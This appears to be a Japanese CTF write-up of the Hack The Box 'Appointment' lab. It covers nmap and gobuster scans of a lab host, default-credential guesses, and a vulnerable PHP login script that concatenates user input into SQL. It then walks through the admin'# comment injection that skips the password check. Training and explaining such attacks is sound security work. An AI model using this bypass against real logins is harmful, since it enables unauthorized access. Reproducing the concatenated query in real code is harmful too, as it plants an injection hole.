【Appointment】HTB WriteUp的な

## 本題に入る
どうやらこのボックスはSQLインジェクションらしい。

**ここで初耳**
MariaDBってなんだ？？？MySQLのコードをベースに様々な機能追加がされている。
主にLinuxディストリビューションで標準のデータベースつぃて採用されている。

:::note info
MySQLとの違いとしては、レプリケーションの並列処理による性能向上や、複数マスターによるレプリケーションなどがある。（これらの機能はMySQLではできない。）
:::


### 偵察
```
┌─[us-starting-point-1-dhcp]─[10.10.14.33]─[mukailabhtb3@htb-abnhsddiyt]─[~]
└──╼ [★]$ nmap -sV -sC --min-rate=1000 10.129.16.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-02 22:20 CDT
Nmap scan report for 10.129.16.177
Host is up (0.0088s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds

```
`-sV`でソフトウェアやOSのバージョン情報を出力してくれる。
`-sC`でスクリプトスキャンを有効にする。
`Script=default`と同義である。
このオプションを指定するとnmapに同封される最も一般的で有用なスクリプトが自動的に選択されてターゲットホストに対して並列実行される。

### ターゲットIP:80でWebページにアクセス

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/fe242971-0e78-4f90-a336-c62f5b02ac58.png)


### GoBusterでサブディレクトリやサブドメインを探す
```
┌─[us-starting-point-1-dhcp]─[10.10.14.33]─[mukailabhtb3@htb-abnhsddiyt]─[~]
└──╼ [★]$ gobuster dir --url http://10.129.16.177 --wordlist ./SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.16.177
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ./SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.129.16.177/css/]
/fonts                (Status: 301) [Size: 314] [--> http://10.129.16.177/fonts/]
/images               (Status: 301) [Size: 315] [--> http://10.129.16.177/images/]
/index.php            (Status: 200) [Size: 4896]
/js                   (Status: 301) [Size: 311] [--> http://10.129.16.177/js/]
/server-status        (Status: 403) [Size: 278]
/vendor               (Status: 301) [Size: 315] [--> http://10.129.16.177/vendor/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
```
デフォルトディレクトリなどが存在しており、ぶっちゃけ悪用できそうなのはない。

ちなみに`statuscode:403`は認証エラーなどによりこっち側のリクエストが拒否されたことを示している。

### デフォルト設定でログインフォームを搔い潜れるか！？！？
```
admin:admin
```
```
guest:guest
```
```
administrator
```
```
root:root
```
などである。
いずれも失敗。

### こういう場合はSQLインジェクション！！
**本来意図されていたであろうクエリ**
```
SELECT * FROM users WHERE username='admin' AND password='abc123';
```
この場合`username='admin'`と'`password='abc123'`を両方同時にチェックすることで正しい認証処理を行うはずだった。このクエリであればANDが返ってくるので、ユーザー名、パスワード両方一致しなければ行は返ってこずログイン失敗となる。
### 脆弱性のあるPHPスクリプト
```
<?php
mysql_connect("localhost", "db_username", "db_password"); # SQL データベースへの接続
mysql_select_db("users"); # ユーザー情報が格納されたデータベース
$username = $_POST['username']; # ユーザー指定のユーザー名
$password = $_POST['password']; # ユーザー指定のパスワード

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'"; # ユーザー名/パスワードをデータベースから取得するクエリ
$result = mysql_query($sql); # $sql に格納されたクエリを実行し、結果を $result に格納
$count = mysql_num_rows($result); # $result に含まれる行数を $count に設定

if ($count == 1) {
    # もし 1 件の結果があればログイン成功と判定
    $_SESSION['username'] = $username; # セッションにユーザー名を保存
    $_SESSION['password'] = $password; # セッションにパスワードを保存
    header("location:home.php"); # ホームページへリダイレクト
}
?>
```

### 今回悪用に使うインジェクションクエリ文
```
SELECT * 
FROM users 
WHERE username='admin'#' AND password='abc123';
```
`username='admin'`までが正常な条件
`#`コメント化する。
# 以降（' AND password='abc123';）はすべてコメント扱いとなり、実行時に無視される。

```
SELECT * 
FROM users 
WHERE username='admin'
```
本来であれば username='admin' AND password='abc123' の両方をチェックしたかったはずですが、# によって パスワードチェックの条件が丸ごと無効化されてしまっていることがわかる。

結果として、パスワードを知らなくても username='admin' が存在すれば認証が通ってしまう、という仕組み（インジェクション成功）。






## 参考文献（2025年6月3日）

・公式Writeup

https://qiita.com/bitcoinjpnnet/items/64458299eaeefbacab44